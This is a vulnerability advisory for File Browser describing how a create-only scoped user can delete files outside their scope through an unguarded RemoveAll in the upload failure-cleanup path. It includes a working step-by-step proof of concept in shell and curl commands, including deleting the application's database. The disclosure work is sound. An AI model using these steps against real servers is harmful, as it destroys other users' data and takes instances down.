CVE-2026-55667

A scoped, non-admin File Browser user holding only the Create permission can delete arbitrary files outside their scope (other tenants' data, and the application's own database) via the upload failure-cleanup path. This is an incomplete fix of CVE-2026-54094: the v2.63.14 ScopedFs containment wrapper was applied to read/write/list/rename but NOT to the delete path. Confidentiality is preserved (reads stay blocked); integrity and availability are not.

ScopedFs.RemoveAll is the one dereferencing operation that skips the symlink guard every other method enforces. The direct-upload handler runs RemoveAll on the user-controlled path during failed-upload cleanup, gated only by Perm.Create. If an escaping directory symlink already exists inside the user's scope, an authenticated create-only user can delete an out-of-scope target, bypassing both the ScopedFs boundary and the Perm.Delete gate.

Affected code: https://github.com/filebrowser/filebrowser/blob/be23ab3a15bf957928ecfed88de5ab67850c1b9c/http/resource.go#L172-L174

Details

CVE-2026-54094 was fixed by a ScopedFs afero wrapper whose guard() resolves every path component with filepath.EvalSymlinks and rejects out-of-scope targets. guard() is invoked on read, write, list, rename, stat, etc. The fix is incomplete; two gaps combine:

1. ScopedFs.Remove and ScopedFs.RemoveAll skip guard() (files/scoped.go:138-144), they call s.base.Remove/RemoveAll directly, unlike every other method.
2. resourcePostHandler does not return on a NewFileInfo containment error (http/resource.go:125-180). For an out-of-scope path NewFileInfo fails, but the handler only uses that for the override branch (if err == nil) and falls through to writeFile, which is correctly guard-blocked and errors, triggering the failure-cleanup _ = d.user.Fs.RemoveAll(r.URL.Path) (http/resource.go:173) on the unvalidated path.

Because Go's os.RemoveAll follows a symlinked ancestor, RemoveAll("link/secret.txt") where link -> /srv/victim deletes /srv/victim/secret.txt, outside scope. The HTTP response is 403 (write blocked), masking the deletion.

Of the three handlers calling RemoveAll, only resourcePostHandler is exploitable; resourceDeleteHandler (:114) and tusDeleteHandler (:264) return the NewFileInfo error first (shadowed, confirmed by negative controls). If the target is a directory, RemoveAll recursively removes out-of-scope contents.

Precondition

An escaping directory symlink must already exist inside the user's scope. File Browser exposes no symlink-creation API, so it is planted out of band (admin, mounted/shared volume, restored backup, extracted archive, another process). This is the same threat model accepted by CVE-2026-54094.

Proof of concept

Root /tmp/fb-root, a Create-only non-admin user scoped to /scope with Perm.Create=true (and Perm.Delete=false, the bug must not need it), and a pre-existing symlink /tmp/fb-root/scope/link -> /tmp/fb-out:

# 0. Layout: server root + an out-of-scope dir holding the victim file
mkdir -p /tmp/fb-root /tmp/fb-out
echo keep > /tmp/fb-out/victim.txt

# 1. Init DB and pin the server root
filebrowser -d /tmp/fb.db config init
filebrowser -d /tmp/fb.db config set --root /tmp/fb-root

# 2. Create a CREATE-ONLY, non-admin user scoped to /scope. perm.delete=false is the point: the bug must not need it
filebrowser -d /tmp/fb.db users add victim hunter2 \
  --scope=/scope \
  --perm.admin=false --perm.create=true \
  --perm.modify=false --perm.delete=false \
  --perm.rename=false --perm.share=false --perm.execute=false

# 3. Plant an escaping directory symlink inside the user's scope. Out-of-band, per the threat model
#    (admin, mounted/shared volume, restored backup, another process). No FileBrowser API creates this.
ln -s /tmp/fb-out /tmp/fb-root/scope/link

# 4. Start the server
filebrowser -d /tmp/fb.db -a 127.0.0.1 -p 8080

# 5. Log in; the JWT is returned as the raw response body
JWT=$(curl -s -X POST http://127.0.0.1:8080/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"victim","password":"hunter2"}')

# 6. Trigger: POST to a child of the symlink. The guarded write (MkdirAll/OpenFile) fails with 403,
#    and failed-upload cleanup then runs the UNguarded RemoveAll("/link/victim.txt").
curl -i -X POST -H "X-Auth: $JWT" --data 'x' \
  'http://127.0.0.1:8080/api/resources/link/victim.txt'

# 7. Impact check
test ! -e /tmp/fb-out/victim.txt && echo "IMPACT: out-of-scope victim.txt DELETED"

Minimal HTTP summary (Create-only user carol, scope /attacker, pre-existing symlink /attacker/link -> /srv/victim, file /srv/victim/secret.txt):

GET  /api/raw/link/secret.txt        -> 403 (read containment still holds, the v2.63.14 fix)
POST /api/resources/link/secret.txt  -> 403 (write blocked)
   => /srv/victim/secret.txt is DELETED (unguarded cleanup RemoveAll followed the symlinked ancestor)

Verified blast radius (per-case HTTP + on-disk before/after captured): create-only no-override deletion; cross-tenant deletion; full-instance DoS (delete the database dir → all users/shares/config gone, admin login fails); negative controls on the DELETE sinks (403, file survives).

References

• Incomplete fix of CVE-2026-54094 / GHSA-239w-m3h6-ch8v.
• Affected code: files/scoped.go (ScopedFs.Remove, ScopedFs.RemoveAll), reached from http/resource.go (resourcePostHandler failure-cleanup, line 173).
• Confirmed unpatched at HEAD be23ab3 (v2.63.15); no open issue/PR addresses the Remove/RemoveAll gap.